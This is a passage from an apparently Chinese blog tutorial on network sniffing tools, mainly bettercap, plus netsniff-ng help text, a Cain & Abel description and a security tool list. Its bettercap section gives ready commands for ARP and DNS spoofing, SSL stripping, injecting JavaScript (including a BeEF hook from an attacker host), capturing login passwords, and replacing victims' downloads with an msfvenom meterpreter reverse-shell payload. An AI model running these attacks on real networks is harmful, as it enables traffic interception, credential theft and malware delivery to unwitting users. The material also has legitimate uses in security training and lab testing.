  • 6、完全可定制的网络嗅探器。
  • 7、模块化的 HTTP 和 HTTPS 透明代理,支持将用户以及内置的插件注入到目标的 HTML 代码,JS 或 CSS 文件,以及 URLs 中。
  • 8、使用 HSTS bypass 技术拆封 SSL。
  • 9、内置 HTTP 服务器。

使用 bettercap

 # 开启 bettercap,默认是开启的 eth0 网卡

root@kali:~# bettercap    // 开启其他网卡,比如无线网卡 wlan0,可以 bettercap -iface wlan0

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

执行命令 bettercap 后就会列出局域网中存活的主机。( 如果没有,看下主机发现模块有没有打开,如果没有执行打开命令:net.recon on )

帮助,在启用 Bettercap 时可以通过 -h 获取帮助信息。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

输入help 或者 : 可以查看 bettercap 的各个模块(绿色表示启用,红色表示未启用)

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

 help 模块名 : 可以查看模块的具体参数和作用。比如:help net.recon

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

常用命令

help  模块名称      显示指定模块的帮助
active:            显示当前运行中的模块的信息
quit :             结束会话并退出
sleep 秒数:        休眠指定的秒数(和shell中的sleep一样)
get 变量:          获取变量的值
set 变量值 :       设置变量的值。有些模块有自定义变量,
                    比如可用net.sniff.output变量指定嗅探器的输出的保存路径
read 变量提示:     显示提示来让用户输入,输入内容会被储存在变量中
clear:             清屏
include CAPLET:    在当前会话读取并运行这个caplet
!命令 :            运行相应的shell命令并显示输出
alias MAC地址 别名  给MAC地址设置一个别名

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

常用模块

api.rest         # RESTful API模块  
ble.recon        # 低功耗蓝牙设备发现模块
dhcp6.spoof      # dhcp6欺骗模块(伪造DHCP数据包篡改客户端的DNS服务器,因此需要与dns.spoof一并启用)
events.stream      # 串流输出模块(就是不断地在终端界面刷出程序的输出,例如arp截获的信息)
wifi       # wifi模块,有deauth攻击(wifi杀手)和创建软ap的功能
net.recon  # 该模块负责定期读取系统 ARP 表以检测局域网内存活的主机
net.probe  # 探测局域网内存活主机
net.sniff  # 该模块是一个网络数据包嗅探器
arp.spoof  # arp欺骗模块。使用ARP数据包不断欺骗网络上的选定主机,以执行中间人攻击
dns.spoof  # DNS欺骗模块。使用欺骗响应回复 DNS 查询
http.proxy # 可以使用 javascript 模块编写脚本的全功能 HTTP 透明代理。如果与一个一起使用欺骗者,所有 HTTP 流量都将重定向到它,它会根据需要自动处理端口重定向
等等还有其他的

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

实战应用 — ARP 欺骗、DNS 欺骗、注入脚本

强大的中间人攻击工具(Bettercap) :嗅探工具 — wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

ARP 欺骗

bettercap 中的 arp.spoof 不能起作用时,可以用 arpspoof 代替的

中间人攻击中最常用的就是 ARP 欺骗了,接下来我们使用 bettercap 来进行 ARP 欺骗,熟悉一下arp.spoof 这个模块。

首先输入help arp.spoof 查看下这个模块的帮助信息

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

arp.spoof  on :     开启ARP欺骗
arp.ban  on :      开启ARP欺骗,用ban模式,即目标将不能上网,也就是断网攻击
arp.spoof off :    停止ARP欺骗 
arp.ban off :       停止ARP欺骗
# 参数
arp.spoof.internal:  如果为true,那么网络中的计算机之间的本地连接将被欺骗,否则只能连接到来自外部网络(默认为false)
arp.spoof.targets:   要欺骗的目标,可以是 ip 、mac 或者 别名 ,也可以支持nmap形式的ip区域
arp.spoof.whitelist: 白名单,就是不欺骗的目标,可以是ip、mac或者别名

对于参数可以使用 set 来设置,使用 get 来获取

# 设置攻击目标,可以是一个网段如:192.168.100.1-20  多个地址使用逗号隔开。留空则默认为欺骗整个网段所有主机。否则仅对指定的目标进行欺骗。

set arp.spoof.targets 192.168.100.2 
get arp.spoof.targets              # 获取 arp.spoof.targets 的值

设置好参数后就可以开启 ARP 欺骗

arp.spoof on

验证

通过 net.sniff 可以嗅探到目标机的浏览数据
通过 wireshark 抓包可以发现大量的来自目标机的流量
查看目标机的 arp 缓存表,发现网关的 mac 已经被修改为 kali(攻击机的mac)

DNS 欺骗

DNS欺骗有一个前提,就是局域网内的主机的DNS服务器是局域网的网关,才能进行欺骗。如果是公网的DNS就不行了。
DNS欺骗之前我们需要利用ARP欺骗让目标机认为网关就是我们(攻击机),所以主机就会向我们发送DNS请求,这样就可以进行DNS欺骗了。

首先进行 ARP 欺骗

set arp.spoof.targets 192.168.100.2
arp.spoof on

然后进行 DNS 欺骗

# 设置要欺骗的域名,多个域名用逗号隔开,如果要欺骗所有域名用通配符 *
set dns.spoof.domains www.sina.com

# 设置将要欺骗的域名转换成的ip
# 可以设置成我们自己的服务器,里面写上一个假的网站做些不可描述的东西
set dns.spoof.address 172.20.10.12 

# 开启DNS欺骗
dns.spoof on  

如图所示,ping www.sina.com 时目标机直接向我们发起请求。打新浪首页进入的是我们自己的网站。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

为了避免代码的重复,还可以打开 bettercap 的目录创建一个host文件,文件中存放要欺骗的域名和地址,然后在进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了。比如创建一个host 文件如下:

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

进行 DNS 欺骗的时候只需要设置 arp.spoof.hosts 这个参数就行了

set dns.spoof.hosts /root/host   #设置欺骗的域名和对应ip
dns.spoof on  #开启dns欺骗

注入脚本

通过进行ARP欺骗,可以拦截到流量,自然就可以对拦截到的流量进行操作,我们可以对 http 协议的数据包进行代理,然后向里面注入恶意脚本。

set arp.spoof.targets 172.20.10.13    #设置arp欺骗的目标
arp.spoof on                          #开启ARP欺骗
set http.proxy.script /root/1.js      #注入恶意脚本
set https.proxy.script /root/1.js
http.proxy on                         # 开启HTTP代理
https.proxy on 

脚本文件 1.js 如下

​function onload(){
    log("Bettercap loaded");
    log("targets: " + env['arp.spoof.targets']);    
}
function onResponse(req, res){
    if(res.ContentType.indexOf('text/html') == 0){
        var body = res.ReadBody();
        log("Inject js!!!");
        if(body.indexOf("</head>") != -1){
            res.body = body.replace(
                '</head>',
                '<script>a;ert(/1/)</script>'
            );
        }
    }
}
function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript">alert("your computer has hacked!")</script></head>'
            );
            }
        }
}

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

当目标机访问一个http或者https协议的站点时,就可以看到脚本已经注入到请求的网站。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

结合 beef-xss 注入

既然我们可以注入js脚本,那么我们就可以利用beef来对目标浏览器进行控制。

set arp.spoof.targets 172.20.10.13    #设置arp欺骗的目标
set http.proxy.script  /root/test.js        #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true    #启用SSL剥离

http.proxy on   #开启HTTP代理
arp.spoof on   #开启ARP欺骗

test.js 内容如下:

function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript" src="http://172.20.10.2:3000/hook.js"></script></head>'
            );
            }
        }
}

kali 之 beef 的使用:kali之beef的使用_kali没有beef-CSDN博客

导入 cap 格式 的 命令文件,避免重复输入命令

在 bettercap 中,有一种文件后缀叫 .cap 我们启动 bettercap 的时候可以指定该.cap文件,就可以按照这个文件还原命令。比如随便创建一个 xss.cap 文件,内容如下:

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

加载并执行 xss.cap 的命令:root@kali:~# bettercap -caplet xss.cap

使用 active 可以详细的查看框架的变量及开启的模块。

在新的版本中还加入了caplets,使用 caplets.update 下载更新后会存储由由开发者编写的各种功能的模块脚本。我们可以通过 caplets.show 来查看有哪些.cap模块。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

其中的模块功能可满足中间人攻击的大部分场景。

演示:通过中间人攻击获取目标网站登录密码以及替换下载文件。

http-req-dump 模块能够欺骗内网流量走本地透明代理并输出内容,在Bettercap中启用该模块。模块默认启用ARP欺骗,欺骗对象为内网所有主机,使用目标登录百度。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

目标点击登录后控制台会直接输出用户输入的内容。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

使用 msf 生成一个 payload 替换掉 caplets 中的文件。命令:root@kali:/usr/share/bettercap/caplets/download-autopwn/windows# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.20.10.2 lport=8888 -f exe -o payload.exe 

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

download-autopwn 文件可以保存着一些脚本,使用 mv 把生成的木马后门放进去,然后启用这个文件。当被欺骗者下载任意文件时都会被替换成我们的后门。

使用 Download-autopwn 模块。命令:root@kali:~# bettercap -caplet download-autopwn/download-autopwn  ,或者 进入 bettercap 执行  download-autopwn

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

键入模块名会自动设置变量及脚本,在靶机上下载任意可执行文件,文件都会被替换为后门文件。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

在进行下载文件替换时Payload与目标所下载文件大小不一致,此时可通过set downloadautopwn.resizepayload true设置自动调整Payload大小。

7、netsniff-ng — 网络嗅探利器

netsniff-ng github  地址:https://github.com/netsniff-ng/netsniff-ng

帮助:

(root㉿kali)-[~] netsniff-ng -h
netsniff-ng 0.6.8, the packet sniffing beast
http://www.netsniff-ng.org

Usage: netsniff-ng [options] [filter-expression]
Options:
  -i|-d|–dev|–in <dev|pcap|->  输入源可以为 netdev, pcap 或者 pcap stdin
  -o|–out <dev|pcap|dir|cfg|->  输出可以为 netdev, pcap, directory, trafgen, 或者 stdout
  -C|–fanout-group <id>         Join packet fanout group
  -K|–fanout-type <type>        Apply fanout discipline: hash|lb|cpu|rnd|roll|qm
  -L|–fanout-opts <opts>        Additional fanout options: defrag|roll
  -f|–filter <bpf-file|-|expr>  Use BPF filter from bpfc file/stdin or tcpdump-like expression
  -t|–type <type>               Filter for: host|broadcast|multicast|others|outgoing
  -F|–interval <size|time>      Dump interval if -o is a dir: <num>KiB/MiB/GiB/s/sec/min/hrs
  -R|–rfraw                     Capture or inject raw 802.11 frames
  -n|–num <0|uint>              Number of packets until exit (def: 0)
  -P|–prefix <name>             Prefix for pcaps stored in directory
  -O|–overwrite <N>             Limit the number of pcaps to N (file names use numbers 0 to N-1)
  -T|–magic <pcap-magic>        Pcap magic number/pcap format to store, see -D
  -w|–cooked                    Use Linux “cooked” header instead of link header
  -D|–dump-pcap-types           Dump pcap types and magic numbers and quit
  -B|–dump-bpf                  Dump generated BPF assembly
  -r|–rand                      Randomize packet forwarding order (dev->dev)
  -M|–no-promisc                No promiscuous mode for netdev
  -A|–no-sock-mem               Don’t tune core socket memory
  -N|–no-hwtimestamp            Disable hardware time stamping
  -m|–mmap                      Mmap(2) pcap file I/O, e.g. for replaying pcaps
  -G|–sg                        Scatter/gather pcap file I/O
  -c|–clrw                      Use slower read(2)/write(2) I/O
  -S|–ring-size <size>          Specify ring size to: <num>KiB/MiB/GiB
  -k|–kernel-pull <uint>        Kernel pull from user interval in us (def: 10us)
  -J|–jumbo-support             Support replay/fwd 64KB Super Jumbo Frames (def: 2048B)
  -b|–bind-cpu <cpu>            Bind to specific CPU
  -u|–user <userid>             Drop privileges and change to userid
  -g|–group <groupid>           Drop privileges and change to groupid
  -H|–prio-high                 Make this high priority process
  -Q|–notouch-irq               Do not touch IRQ CPU affinity of NIC
  -s|–silent                    Do not print captured packets
  -q|–less                      Print less-verbose packet information
  -X|–hex                       Print packet data in hex format
  -l|–ascii                     Print human-readable packet data
  -U|–update                    Update GeoIP databases
  -V|–verbose                   Be more verbose
  -v|–version                   Show version and exit
  -h|–help                      Guess what?!

示例 :
  netsniff-ng –in eth0 –out dump.pcap -s -T 0xa1b2c3d4 –bind-cpu 0 tcp or udp
  netsniff-ng –in wlan0 –rfraw –out dump.pcap –silent –bind-cpu 0
  netsniff-ng –in dump.pcap –mmap –out eth0 -k1000 –silent –bind-cpu 0
  netsniff-ng –in dump.pcap –out dump.cfg –silent –bind-cpu 0
  netsniff-ng –in dump.pcap –out dump2.pcap –silent tcp
  netsniff-ng –in eth0 –out eth1 –silent –bind-cpu 0 -J –type host
  netsniff-ng –in eth1 –out /opt/probe/ -s -m –interval 100MiB -b 0
  netsniff-ng –in vlan0 –out dump.pcap -c -u `id -u bob` -g `id -g bob`
  netsniff-ng –in any –filter http.bpf –jumbo-support –ascii -V

Note:
  For introducing bit errors, delays with random variation and more
  while replaying pcaps, make use of tc(8) with its disciplines (e.g. netem).                          (root㉿kali)-[~]

8、Cain

官网地址:https://cain-abel.en.softonic.com

官方关闭了下载通道,github 地址:https://github.com/xchwarze/Cain

cain abel v4.9.46 简体中文版:http://www.downcc.com/soft/24269.html

cain & abel(多口令激活成功教程工具) v4.9.89 英文:http://www.downcc.com/soft/13783.html

Cain & abel 是一个知名的 windows平台免费口令激活成功教程器,它不像 Ettercap 那么多选项,号称穷人使用的 L0phtcrack。它的功能十分强大,可以网络嗅探,网络欺骗,激活成功教程加密口令、解码被打乱的口令、显示口令框、显示缓存口令和分析路由协议,甚至还可以监听内网中他人使用VOIP拨打电话。它可以帮助您激活成功教程遗忘的各种密码。它能通过网络嗅探很容易的恢复多种口令,能使用字典激活成功教程加密的口令,暴力口令激活成功教程,录音VOIP(IP电话)谈话内容,解码编码化的口令,获取无线网络密钥,恢复缓存的口令,分析路由协议等。为了帮助大家对工具的使用进行了解,特别发布这篇教程,需要说明的是:请勿非法使用软件,否则后果自负!

Cain Abel 是一个可以 crack 屏保,PWL密码,共享密码,缓存口令,远程共享口令,SMB口令,支持VNC口令解码,Cisco Type-7口令解码,Base64口令解码,sql server 7.0/2000口令解码,Remote Desktop口令解码,access Database口令解码,Cisco PIX Firewall口令解码,Cisco MD5解码,NTLM Session Security口令解码,IKE Aggressive Mode Pre-Shared Keys口令解码,Dialup口令解码,远程桌面口令解码等综合工具,还可以远程crack,可以挂字典以及暴力crack,其sniffer功能极其强大,几乎可以明文捕获一切帐号口令,包括FTP,HTTP,IMAP,POP3,SMB,TELNET,VNC,TDS,SMTP,MSKERB5-PREAUTH,MSN,RADIUS-KEYS,RADIUS-USERS,ICQ,IKE Aggressive Mode Pre-Shared Keys authentications等。

CAIN 下有两个程序,一个是CAIN主程序,一个是Abel服务程序。Abel服务程序需要手动进行安装。Abel 是后台服务程序,一般不会用到,下面介绍 Cain 的使用。

程序由以下文件组成:

Cain.exe                              主程序
Causermanual.chm             用户手册
Abel.exe                              名为 abel 的 windows 服务
Abell.dll                               程序支持文件
Wordlist.txt                          小型口令文件
Install.log                             程序安装目录
Oui.txtmac                           地址厂商文件

<安装目录>\winrtgen\winrtgen.exe                  字典生成器
<安装目录>\winrtgen\charset.txt                      字符集文件
<安装目录>\driver\winpcap_4_0_beta2.exe    原始winpcap驱动程序

正确安装 CAIN 后,从 CAIN 目录下拷贝 Abel.exe 和 Abel.dll 到 C:\Windows\System32目录下,运行 Abel.exe 安装,并在服务里设置为自动启动,运行 CAIN,主界面如图所示。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

Cain 的嗅探器

嗅探器 (包含局域网的嗅探 和 ARP欺骗) 是 Cain 的重点,很多人用 Cain 主要就是用这个嗅探器和 ARP欺骗。Cain 中的嗅探器,主要嗅探局域网内的有用信息,比如各类密码等。Cain 中的 ARP 的欺骗,原理是操纵两台主机的 ARP 缓存表,以改变它们之间的正常通信方向,这种通信注入的结果就是 ARP 欺骗攻击,利用 ARP 欺骗可以获得明文的信息。

程序配置首先点击菜单的配置按钮

首先选择用于嗅探的以太网卡(可以是有线网卡也可以是无线网卡),本文中将选择第二个无线网卡。下面的选项可以不选。然后转到ARP欺骗选项卡。欺骗选项中可以用真实的IP地址也可以使用伪装IP地址和的MAC。

但是使用伪装IP和MAC有几个前提条件:

  • 1.攻击者的机器 只能连接在 HUB 中,不能连接在交换机中 
  • 2. 设置的IP地址需是子网内的合法的而且是未使用的IP地址预欺骗ARP缓存勾选,下面默认每30秒发送一次ARP欺骗包。XP系统每2分钟更新ARP 缓存,因此设置太大就不能达到欺骗的效果,设置太小会产生太多的ARP流量,

​Cain 使用教程

CAIN 使用教程:https://www.jianshu.com/p/facff81a4826

​Cain 使用教程详细版:https://www.jianshu.com/p/b3

CAIN (  扫描、嗅探、激活成功教程 ) 使用教程:https://wenku.baidu.com/view/57cb0722192e45361066f5e9.html

9、工具集

少侠选个趁手的兵器吧 | 网络安全从业人员

扫描 / 渗透测试

  • OpenVAS:一个由多个服务和工具组成的框架,提供了全面而强大的漏洞扫描和漏洞管理解决方案功能。
  • Metasploit Framework:优秀的网络安全工具之一,用于针对远程目标计算机开发和执行漏洞利用代码。其他重要的子项目包括opcode,数据库,shellcode存档和相关研究。
  • Kali:Kali Linux是Debian衍生的Linux发行版,专为数字取证和渗透测试而设计。Kali Linux预先安装了许多渗透测试程序,包括nmap(端口扫描程序),Wireshark(数据包分析器),John the Ripper(密码激活成功教程程序)和Aircrack-ng(用于渗透测试无线局域网的软件套件)。
  • pig: 一个Linux数据包制作工具。
  • Scapy:一款强大的交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工具和包嗅探工具。它提供多种类别的交互式生成数据包或数据包集合、对 数据包进行操作、发送数据包、包嗅探、应答和反馈匹配等等功能。
  • Pompem:一个开源的网络安全工具,旨在自动搜索主要数据库中的漏洞。在Python中开发,有一个高级搜索系统,从而帮助渗透测试人员和白帽子的工作。在当前版本中,在数据库中执行搜索:Exploit-db,1337day,Packetstorm Security…
  • Nmap:一个用于网络开发和安全审计的免费开源实用程序。

监控 / 记录

  • justniffer:是一种网络协议分析工具,可以捕获网络流量并以自定义方式生成日志,可以模拟Apache Web服务器日志文件,跟踪响应时间并从HTTP流量中提取所有“被拦截”的文件。
  • httpry:是一种专用的数据包嗅探工具,用于捕获HTTP数据包,并将HTTP协议层的数据内容以可读形式列举出来。它的目的不是执行分析,而是捕获、解析和记录流量,以便以后进行分析。它可以实时运行,显示解析后的流量,也可以作为记录到输出文件的守护进程运行。
  • ngrep:是一个功能强大的网络数据包分析工具,它是一种应用于网络层的类似grep的工具,它匹配通过网络接口传递的流量。ngrep是一个pcap感知工具,可让您指定扩展的正则表达式或十六进制表达式,以便与数据包的数据有效载荷匹配。它目前可识别以太网,PPP,SLIP,FDDI,令牌环、IPv4 / 6,TCP,UDP,ICMPv4 / 6,IGMP和Raw,并以常见的数据包嗅探工具(如tcpdump和snoop)相同的方式理解BPF过滤器逻辑。
  • Passivedns:比较好的网络安全工具之一,可以被动地收集DNS记录,以协助事件处理,网络安全监视(NSM)和常规数字取证。PassiveDNS会从接口嗅探流量或读取pcap文件,然后将DNS服务器响应输出到日志文件。PassiveDNS可以在内存中缓存/聚合重复的DNS应答,从而限制日志文件中的数据量,而不会丢失DNS响应中的信息。
  • sagan:是一个多线程、实时系统和事件日志监视软件。Sagan使用了类似于Snort的规则集检测网络或系统中的危险事件。
  • Node Security Platform:与Snyk功能相似,但在大多数情况下是免费的,而对于临时使用的用户来说非常划算。
  • ntopng:是一个网络流量探测工具,是原ntop的下一代版本,ntop是基于Libpcap和它被写在一个可移植的方式来运行在UNIX平台上,MacOSX和Win32一样。
  • Fibratus:是Windows内核漏洞跟踪和测试工具。它能够捕获大部分Windows内核活动-进程/线程创建和终止,文件系统I / O,注册表,网络活动,DLL加载/卸载等等。Fibratus有一个非常简单的CLI,它封装了用于启动内核流式事件处理收集器,设置内核事件过滤器或运行轻量级Python模块filters的工具。

IDS / IPS /主机IDS /主机IPS

  • Snort:是Martin Roesch于1998年创建的免费开放源代码网络入侵防御系统(NIPS)和网络入侵检测系统(NIDS)。Snort现在由Sourcefire开发,而Roesch是Sourcefire的创始人兼CTO。2009年,Snort作为“有史以来最伟大的开源软件之一”进入InfoWorld的开源榜单。
  • Bro:是一个功能强大的网络分析工具,与您可能知道的典型IDS有很大不同。
  • OSSEC:是一款开源的入侵检测系统。使用前需要花点时间了解它的工作原理。执行日志分析,文件完整性检查,策略监视,rootkit检测,实时警报和主动响应。它可以在大多数操作系统上运行,包括Linux,MacOS,Solaris,HP-UX,AIX和Windows。
  • Suricata:是高性能的网络IDS,IPS和网络安全监视引擎。Suricata项目和代码由开放信息安全基金会(OISF)拥有和支持,OISF是一个非盈利基金会,致力于确保Suricata作为一个开源项目的开发和持续成功。
  • Security Onion:是入侵检测系统,网络安全监视和日志管理的Linux发行版。它基于Ubuntu,包含Snort,Suricata,Bro,OSSEC,Sguil,Squit,Snorby,ELSA,Xplico,NetworkMiner和许多其他安全工具。镜像可以作为传感器分布在网络中,以监控多个VLAN和子网。
  • sshwatch – SSH的IPS类似于用Python编写的DenyHosts。它还可以在日志中收集攻击期间攻击者的信息。
  • Stealth:文件完整性检查程序。控制器从另一台计算机上运行,这使攻击者很难知道正在通过SSH以定义的伪随机间隔检查文件系统。强烈建议用于中小型部署。
  • AIEngine:下一代交互式/可编程Python / Ruby / Java / Lua和Go网络入侵检测系统引擎,具有学习功能,无需人工干预,DNS域分类,垃圾邮件检测,网络收集器,网络取证等等。
  • Denyhosts:DenyHosts是Python语言写的一个程序,它会分析sshd的日志文件(/var/log/secure),当发现重 复的攻击时就会记录IP到/etc/hosts.deny文件,从而达到自动屏IP的功能。
  • Fail2Ban:扫描系统日志文件并对显示恶意行为的IP采取措施。
  • SSHGuard:用C语言编写的用于保护除SSH之外的服务的软件
  • Lynis:是一个为系统管理员提供的 Linux和Unix的审计工具 。

蜜罐

  • HoneyPy :是一种中低互动的蜜罐。它易于实现:部署,使用插件扩展功能以及应用自定义配置。
  • Dionaea:是nepenthes的继承者,将python作为脚本语言嵌入,使用libemu检测shellcode,支持ipv6和tls。
  • Conpot:是一个部署在服务端的低交互ICS蜜罐,易于部署、修改和扩展。开发者通过提供一系列的通用工控协议,使得我们能够非常快速地在我们的系统上构建一套复杂的工控基础设施用于欺骗未知的攻击者。
  • Amun:基于Amun Python的低交互蜜罐。
  • Glastopf:是一个Web应用漏洞蜜罐软件,以从针对Web应用程序的攻击中收集数据。它可以对例如,结构化查询语言注入(SQLI),远程代码执行(RCE),本地文件包含(LFI ),远程文件包含(RFI)等攻击行为进行记录。
  • Kippo:是一种中等交互性SSH蜜罐,旨在记录暴力攻击,最重要的是,记录攻击者执行的整个shell交互。
  • Kojoney:是一个模拟SSH服务器的低交互蜜罐。守护进程是用Python编写的,使用Twisted Conch库。
  • HonSSH:是一种高交互的蜜罐解决方案。HonSSH将位于攻击者和蜜罐之间,从而可以创建两个独立的SSH链接
  • Bifrozt:是一个带有DHCP服务器的NAT设备,通常部署一个NIC直接连接到Internet,一个NIC连接到内部网络。Bifrozt与其他标准NAT设备的区别在于它能够在攻击者和蜜罐之间作为透明的SSHv2代理工作。
  • HoneyDrive:是一款Linux蜜罐系统。它是以虚拟设备(OVA)的方式安装在Xubuntu 12.04.4版本上面。它包含10多个预安装和预配置的蜜罐软件,例如Kippo SSH honeypot,Dionaea、Amun malware honeypots,Honeyd low-interaction honeypot,Glastopf web honeypot,Wordpot,Conpot SCADA/ICS honeypot,Thug,PhoneyC honeyclients等。
  • Cuckoo Sandbox:是一个开源软件,用于自动分析可疑文件。 为此,它使用自定义组件来监视恶意进程在隔离环境中运行时的行为。

抓包 工具

  • tcpflow:是一个免费的,开源的,功能强大的基于命令行的工具,它捕获作为TCP连接(流)的一部分传输的数据,并以便于协议分析和调试的方式存储数据。
  • Xplico:是一个从 pcap 文件中解析出IP流量数据的工具。可解析每个邮箱 (POP, IMAP, 和 SMTP 协议),所有 HTTP 内容,VoIP calls (SIP) 等等。Xplico并不是网络协议分析器。Xplico是一个开源的网络取证分析工具(NFAT)。
  • Moloch:是一个开源的大规模IPv4数据包捕获(PCAP),索引和数据库系统。为PCAP浏览、搜索和导出提供了一个简单的web界面。公开了允许直接下载PCAP数据和JSON格式会话数据的api。简单的安全性是通过使用HTTPS和HTTP摘要密码支持来实现的,或者是通过在前面使用apache来实现的。Moloch并不打算取代IDS引擎,而是与它们一起工作,以标准PCAP格式存储和索引所有网络流量,提供快速访问。Moloch被构建成可以跨多个系统部署,并且可以扩展到处理多个千兆位/秒的流量。
  • OpenFPC:是一组工具,它们结合在一起提供一个轻量级的全包网络流量记录器和缓冲系统。它的设计目标是允许非专业用户在COTS硬件上部署分布式网络流量记录器,同时集成到现有的警报和日志管理工具中。
  • Dshell:是一个网络取证分析框架。支持插件的快速开发,以支持对网络数据包捕获的分析。
  • stenographer:是一个全包捕获实用程序,用于将数据包缓冲到磁盘,以便进行入侵检测和事件响应。

嗅探 工具

  • wirehark:是一个免费的开源数据包分析器。它用于网络故障排除,分析,软件和通信协议开发以及培训。Wireshark与tcpdump非常相似,但是具有图形化的前端,以及一些排序和过滤功能。
  • netsniff-ng:是一个免费的Linux网络工具包,如果你愿意的话,它是你日常Linux网络管道的瑞士军刀。通过零复制机制实现其性能提升,因此在数据包接收和传输时,内核不需要将数据包从内核空间复制到用户空间,反之亦然。
  • Live HTTP headers:是一个免费的firefox插件,可实时检测您的浏览器请求。它显示了请求的整个头部,并可用于查找实现中的安全漏洞。

SIEM 工具

  • Prelude:是一个通用的“安全信息和事件管理”(SIEM)系统。Prelude收集、规范、分类、聚合、关联和报告所有与安全相关的事件,而不依赖于导致此类事件的产品品牌或许可证;Prelude是“无代理”。
  • OSSIM:是一个非常流行和完整的开源安全架构体系。OSSIM通过将开源产品进行集成,从而提供一种能够实现安全监控功能的基础平台。 它的目的是提供一种集中式、有组织的、能够更好地进行监测和显示的框架式系统。
  • FIR:快速事件响应,一种网络安全事件管理平台。

快速数据包处理

  • DPDK:是一组用于快速数据包处理的库和驱动程序。
  • PFQ:是一款针对Linux操作系统的功能性框架,可帮助研究人员捕捉网络传输数据包(10G、40G及以上),内核功能处理,内核绕过,以及获取多节点间的套接字/数据包。
  • PF_RING:是一种新型的网络套接字,可显着提高数据包捕获速度。
  • PF_RING ZC:是一个灵活的数据包处理框架,它允许您在任何数据包大小下实现1/10 Gbit线速数据包处理(RX和TX)。它实现了零复制操作,包括用于进程间和VM间(KVM)通信的模式。
  • PACKET_MMAP / TPACKET / AF_PACKET:在Linux中使用PACKET-MMAP可以提高捕获和传输过程的性能。
  • Netmap:高性能网络I/O框架。连同其配套的VALE软件开关,它被实现为单个内核模块,并且可用于FreeBSD,Linux以及现在的Windows。

防火墙

  • pfSense:是一个基于FreeBSD,专为防火墙和路由器功能定制的开源版本。它被安装在计算机上作为网络中的防火墙和路由器存在,并以可靠性著称,且提供往往只存在于昂贵商业防火墙才具有的特性。它可以通过WEB页面进行配置,升级和管理而不需要使用者具备FreeBSD底层知识。pfSense通常被部署作为边界防火墙,路由器,无线接入点,DHCP服务器,DNS服务器和VPN端点。
  • OPNsense:是一个开源易用,而且易于构建的基于 FreeBSD 的防火墙和路由平台。包括大多数商业防火墙的特性。提供功能完整却易用的 GUI 管理界面。
  • fwknop:通过防火墙中的单数据包授权保护端口。

反垃圾邮件

  • SpamAssassin:一种强大且流行的电子邮件垃圾邮件过滤器,采用了多种检测技术。这款反垃圾工具是许多商业产品背后的”秘密武器(secret sauce)”,同时,很多的电子邮件服务商和垃圾过滤(工具)提供商都在使用它。

今天的文章
嗅探工具 — wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain分享到此就结束了,感谢您的阅读。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/80327.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注